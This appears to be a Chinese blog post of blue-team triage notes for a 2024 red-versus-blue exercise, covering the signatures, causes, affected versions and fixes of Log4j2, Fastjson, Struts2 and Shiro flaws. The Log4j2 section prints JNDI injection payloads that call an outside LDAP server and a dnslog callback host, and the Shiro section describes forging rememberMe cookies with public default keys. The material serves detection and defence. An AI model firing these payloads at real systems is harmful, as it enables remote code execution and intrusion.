• 2024HVV行动-进军蓝中研判(log4j2、fastjson、Struts2、Shiro)


    1、log4j2

    特征:

    恶意请求中包含 JNDI 协议地址,如"ldap://"、"rmi://"等,被 log4j2 解析为 JNDI 查找。

    原理:

    在日志输出中,未对字符进行严格的过滤,执行了 JNDI 协议加载的远程恶意脚本,从而造成远程代码执行。

    影响:

    严重的 RCE,2.0 ≤ Apache Log4j2 < 2.15.0-rc2

    攻击字段:

    ${jndi:ldap://${sys:java.version}.7fprj5.dnslog.cn}(手动测试)

    ${jndi:ldap://192.168.249.128:1389/h8sgrk}(工具生成)

    (一般 payload 我们需要进行 URL 编码,传入的命令也需要进行 base64 编码后再解码)

    修复:

    将 Log4j 升级到已修复漏洞的版本;

    如果不需要使用 JndiLookup 插件,可以将其移除或禁用;

    配置 log4j2.xml 来限制日志文件的输出路径。

    2、fastjson

    判断:

    构造恶意的 POST 请求,观察服务器返回的错误响应中是否包含了 Fastjson 相关的字样

    特征:

    开启了自省功能, JSON 数据中包含 @type 字段

    原理:

    fastjson 在解析 JSON 数据时存在自动类型转换功能(autoType),FastJson 就会自动解析@type 参数字段,利用该功能构造恶意 JSON 数据,使其在反序列化过程中触发漏洞利用链,从而实现恶意代码的执行。

    注:@type、自省功能以及 autoType 指的是同一个概念,即 Fastjson 在反序列化 JSON 数据时根据 JSON 数据中的类名来自动实例化对应的 Java 对象的功能。

    影响:

    fastjson<=1.2.24:反序列化导致任意命令执行

    fastjson< =1.2.47:构造特殊的 json 字符串绕过白名单执行任意命令

    如何判断攻击成功:

    POST 请求中包含了恶意构造的 JSON 数据;

    服务器会返回异常的响应(如状态码为 500);

    服务器会返回 Fastjson 相关的字样或错误信息;

    与异常的目标 IP 地址或端口建立反向 shell 连接;

    异常的恶意文件或数据传输行为。

    修复:

    将 Fastjson 升级到最新版本;

    关闭 AutoType 功能;

    在反序列化之前对 JSON 数据进行严格的验证和过滤。

    3、Struts2

    此漏洞源于 Struts 2 框架中的一个标签处理功能:altSyntax。在开启时,支持对标签中的 OGNL 表达式进行解析并执行。Struts 2 的 “altSyntax” 功能允许将 OGNL 表达式插入到文本字符串中并递归处理,这允许恶意用户提交一个字符串,通常通过 HTML 文本字段,其中包含一个 OGNL 表达式(如 %{1+1}),如果表单验证失败,服务器将执行该表达式。Struts2 代码执行漏洞均是 OGNL 表达式注入导致。

    4、Shiro

     

    介绍:

    Apache Shiro是一个开源安全框架,提供身份验证、授权、密码学和会话管理。

    原理:

    Shiro 在用户登陆时提供可选项 RememberMe,若勾选则下次登陆会携带 cookie 中的 remember me 字段发起请求,就不需要重新输入用户名和密码,用户登录成功后会生成经过 AES 加密和 base64 编码的 cookie。攻击者可以使用 Shiro 的默认密钥构造恶意序列化对象进行编码来伪造用户的 cookie,服务端反序列化时触发漏洞,从而实现命令执行。

    特征:

    勾选记住密码选项后,点击登录,抓包,观察请求包中是否有 rememberme 字段,响应包中是否有 Set-cookie:rememberMe=deleteMe 字段。

    利用:

    只要 RememberMe 的 AES 加密密钥泄漏,无论 Shiro 什么版本都会导致反序列化漏洞,AES 是对称加密,加解密是相同的密钥,密钥是写在开源框架的代码中的,我们便可使用公开密钥进行爆破尝试。

    修复:

    升级Shiro到最新版本;

    修改shiro的密钥,不要使用公开密钥;

    WAF 拦截 Cookie 中长度过大的 RememberMe 值。

  • 相关阅读:
    剑指 Offer II 093. 最长斐波那契数列
    C++之智能指针
    (数组) 724. 寻找数组的中心下标 ——【Leetcode每日一题】
    基于stm32单片机的按键智能电子密码锁
    Java前后端分离项目生成二维码链接带中文参数遇到的问题及解决办法
    【C++】STL —— map和set的模拟实现
    3 数据链路层(二):差错控制、差错检测和纠正
    【每周CV论文推荐】初学模型蒸馏值得阅读的文章
    互联网大厂ssp面经,数据结构part2
    22.11.25打卡 2022河南萌新联赛第(二)场:河南理工大学 AFJL
  • 原文地址:https://blog.csdn.net/Myon5/article/details/136547910